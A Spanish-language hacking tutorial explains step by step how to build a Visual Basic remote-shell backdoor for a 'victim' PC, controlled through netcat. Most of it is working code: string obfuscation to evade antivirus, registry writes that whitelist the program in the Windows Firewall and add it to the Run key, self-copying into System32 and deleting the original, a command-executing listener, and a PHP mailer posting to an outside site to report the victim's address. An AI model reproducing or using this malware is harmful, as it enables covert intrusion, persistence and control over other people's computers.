Programando una Shell Remota en VB

By Hendrix

1. Introducción:

Bien, una Shell Remota es como si tuviéramos el MS-Dos del la "victima" en nuestro PC, y al ejecutar comandos en esta Shell se ejecutaran en su PC.

Quiero recalcar que utilizaremos el NetCat para comunicarnos con nuestra Shell remota. Podríamos hacer un programa nosotros mismos para sustituir al NetCat pero como el NetCat ya funciona bien.

Porque usamos el NetCat y no el Telnet??? Simple, porque el telnet es "basura", cuando escribimos, al pulsar enter solo se envía la primera letra, y además lo que escribimos no sale en pantalla. Así que mejor olviden en telnet.

Para "instalar" el netcat lo ponemos en System32 con el nombre de nc.exe y ya, al escribir nc en la CMD ya sabrá que nos dirigimos al netcat.

Para conectarnos con el netcat escribimos esto:

```
C:\>nc IPdelaVictima Puerto
```

Un ejemplo seria este:

```
nc 127.0.0.1 357
```

2. Empezamos a codear

Bien, aquí ya empezaremos a ver código, lo primero que haremos será definir los que hará nuestra Shell, yo le e puesto esto:

1. Instalarse en la carpeta del Sistema
2. Agregarse al Registro para iniciarse siempre
3. Hacer el FW Bypass
4. Puerto a al escucha para empezar.

Bien, iremos por pasos. Antes de empezar les diré el método de encriptación que uso, para burlar los AV's.

```
Public Function Hen(texto)
On Error Resume Next
For i = 1 To Len(texto)
Hen = Hen & Chr(Asc(Mid(texto, i, 1)) + 7)
Next
End Function
```

Esto lo que hace es sumarle 7 caracteres a cada letra, como veis, es muy simple, pero APRA lo que nos interesa ya vale.

NOTA: les daré las strings desencriptadas, luego vosotros las pasáis a encriptarlas.

Para agregar al registro agregarnos al registro y tambien para hacer el FW Bypass lo podemos hacer con un simple VBS.

```
Set hek = CreateObject("WScript.Shell")
hek.regwrite
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\S
haredAccess\Parameters\FirewallPolicy\StandardProfile\Authorized
Applications\List\Actualicacion”, Chr(34) & Camino & "\CMDLG.exe"
& Chr(34) & "=" & Chr(34) & Camino & "\CMDLG.exe" &
":*:Enabled:Programa del Sistema " & Chr(34)
```

```
hek.regwrite "
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Run ", Chr(34) & Camino & "\CMDLG.exe" & Chr(34)
```

Bien, vamos a explicarlo todo, lo del Camino es la ruta del sistema, la saque de este modo (en el form_load):

```
Longitud = 128

Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
```

Y en las declaraciónes de arriba del todo declaramos esto:

```
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Dim root As String
```

Bueno, así ya quedaríamos instalados en el registro y nos saltaríamos al FW, el código del Firewall y del registro lo e puesto encriptado y dentro de un timer con intervalo a 1 porque el NOD saltaba igual, al finalizar la instalación en el registro tenemos que pensar a parar el timer de esta forma:

```
Timer1.Enabled = False
```

También cree un sub para verificar si estaba “instalado” en la carpeta del sistema, y si no lo estaba nos copiábamos y “reiniciábamos el programa”.

Aquí les dejo el código de este sub:

```
Sub existe()
On Error GoTo Fallo
x = GetAttr(Camino & "\CMDLG.exe")
Exit Sub
Fallo:
t1.Enabled = True
FileCopy App.Path & "\" & App.EXEName & ".exe", Camino &
"\CMDLG.exe"
Shell “cmd.exe /c ping 127.0.0.1 -n 1 > nul & del “& App.Path & "\" &
App.EXEName & ".exe && Start " & Camino & "\CMDLG.exe",
vbHide
```

```
End
End Sub
```

Como ven es muy rudimentario (usamos la CMD para borrarnos y volvernos a ejecutar).

Bien, ahora ya pasaremos a la conexión con nuestro NetCat, para ello e usado el Winsock, evidentemente es más aconsejable usar la API, pero bueno, pongo el Winsock para no crear problemas.

Aquí les dejo un fragmento de codigo:

```
Private Sub ws_Close()
ws.Close
ws.Listen
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As
Integer)
Cancel = 0
ws.Close
End Sub

Private Sub Form_Terminate()
ws.Close
End Sub


Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
ws.SendData “Bienvenido a Remote Shell by Hendrix
“& Camino & ">"
End Sub
```

Si se fijan, justo en el ultimo sub, después de Bienvenido a Remote Shell by Hendrix, e dejado espacios, eso es simplemente para hacer un Salto de línea en la CMD, es para que quede mas “bonito”.

Bueno, para hacer la Shell e usado un modulo que me paso Nylon (Gracias pro el modulo ☺) en elhacker.net.

El modulo lo subiré a mi FTP y luego les pasare la dirección.

Ahora les pasare lo que es en si la conexión:

Primero declaramos esta API:

```
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As
Long)
```

Luego, creamos este sub:

```
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim par As String
Dim prov As String

ws.GetData datos
prov = Left(datos, Len(datos) - 1)
If UCase(prov) = "FIN" Then
End
End If
par = CMD(prov)
Sleep (300)
ws.SendData par
ws.SendData "                                                    " &
Camino & ">"
End Sub
```

Lo que esta en rojo son los comandos “depurados” (depurados porque vienen con un carácter “no deseado” al final del comando).

Luego lo que esta en rojo es donde pondremos el resultado de la Shell, esperamos 300 milisegundos y lo enviamos y luego nos volvemos a preparar para que nos escriban un nuevo comando.

Esta Shell es muy simple, ya que si por ejemplo pondemos seto:

```
cd Archivos *
dir
```

No nos va a listar los directorios de Archivos de Programa, para hacerlos lo podríamos hacer asi:

```
Dir C:\Archivos de Programa
```

3. Opciones para agregar

A la Shell se le podrían aplicar muchísimas opciones, desde que se reprodujese por P2P, que interactuara con el MSN, que matara los AV's, Conexión inversa….etc. (Evidentemente todo esto subiría el peso de nuestra
Shell).

Lo que yo voy a explicar es una opción bastante útil, que es la notificación de IP por e-mail.

NOTA: Este código me lo paso Ciklow en el laboratorio de Piratas Informáticos, Thank's Ciklow!!!

Primero tenemos que crear este PHP:

```
<?
        if($_POST[pwl]=="system007new"){
                $asunto = $_POST[asunto];
                $mensaje = $_POST[mensaje];
                $adonde = $_POST[adonde];
                $dekien = $_POST[dekien];

                @mail($adonde, $asunto, $mensaje, "FROM: ".$dekien);
        }
?>
```

Luego, en el VB, agregamos el control Inet y escribimos esto:

```
Public Function EnvEmail()
Dim strPost As String
Dim strURL As String
Dim strMsg As String
Dim strAsunto As String
Dim strDe As String
Dim strPara As String
On Error Resume Next
```

```
strURL = "http://www.binari0s.com.ar/util/email_vb.php"
strAsunto = "Hola!"
strDe = "pepe_el_mono@nidea.com.ar"
strPara = "cicklow@yahoo.com.ar"
strMsg = "Enviando un mensaje por email\npara el laboratorio\n\tAutor: Cicklow SOFT®"
El \n es un salto de linea.
'El \t es un tabulador.
pueden usar tambien como salto de linea: vbNewLine
strPost = "pwl=system007new&asunto=" & strAsunto & "&mensaje=" & strMsg & "&adonde=" & strPara & "&dekien=" & strDe

Inet1.Execute strURL, "POST", strPost, "Content-Type: application/x-www-form-urlencoded" 'Enviamos el email

While Inet1.StillExecuting = True
        DoEvents 'Hacemos tiempo hasta ke se envie por completo el email!
        Wend
        MsgBox "listo"
End Function
```

Luego subimos el PHP a una web nuestra (por ejemplo en Geocities, aunque no lo recomiendo, ya que muchas veces esta Offline).

Evidentemente luego tendrian que sacar la IP, pero esto lo dejo para ustedes ;).

4. Despedida

Bueno, hasta aquí el manual de cómo hacer una Shell Remota, como ven, no es nada de el otro mundo, aunque no es de las mejores, pero para lo complicado que lo hemos echo esta bastante bien.

Bueno, espero que les aya gustado este tutorial, es muy simple, asi que espero que lo hayan pillado todo.

Me despido, hasta otro manual.

Au Revoir!!

Hendrix.

Descargar Modulo CMD

EoF